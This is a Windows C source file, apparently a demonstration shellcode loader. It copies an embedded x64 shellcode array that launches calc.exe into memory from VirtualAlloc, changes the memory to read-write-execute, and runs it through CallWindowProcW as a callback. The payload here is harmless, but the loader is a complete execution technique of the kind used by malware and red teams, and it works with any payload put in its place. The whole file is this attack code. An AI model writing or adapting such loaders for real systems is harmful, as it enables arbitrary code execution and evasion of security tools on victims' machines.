#include <Windows.h>
#include <stdio.h>


int main()
{
	//our shellcode X64 Calc
unsigned char ShellCode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
		"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
		"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
		"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
		"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
		"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
		"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
		"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
		"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
		"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
		"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
		"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
		"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
		"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
		"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
		"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
		"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
		"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

	//allocate memory page for execution 

	SIZE_T sizeofShellCode = sizeof(ShellCode); 

	PVOID pShellcodeAddress = VirtualAlloc(NULL, sizeofShellCode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	printf("[+] New Buffer allocated at: %p\n", pShellcodeAddress);
	//copy the shell code to newlly allocated buffer 
	memcpy(pShellcodeAddress, ShellCode, sizeofShellCode);
	printf("[+] Shellcode Copied to : %p\n", pShellcodeAddress);
	//change the buffer permssions to be RWX
	DWORD dwOldProtection = NULL;

	if (!VirtualProtect(pShellcodeAddress, sizeofShellCode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {//
		printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
		return -1;
	}
	printf("[+] ShellCode permisstions changed to RWX \n");

	printf("[+] Calling CallWindowProcW \n");
	printf("[+] Done \n");
	WNDPROC shellProc = (WNDPROC)pShellcodeAddress;

	// Dummy HWND and parameters
	HWND hwnd = NULL;
	UINT msg = 0;
	WPARAM wParam = 0;
	LPARAM lParam = 0;

	// Call the shellcode as a window procedure
	LRESULT result = CallWindowProcW(shellProc, hwnd, msg, wParam, lParam);

	printf("CallWindowProcW returned: %lld\n", result);

	getchar();
}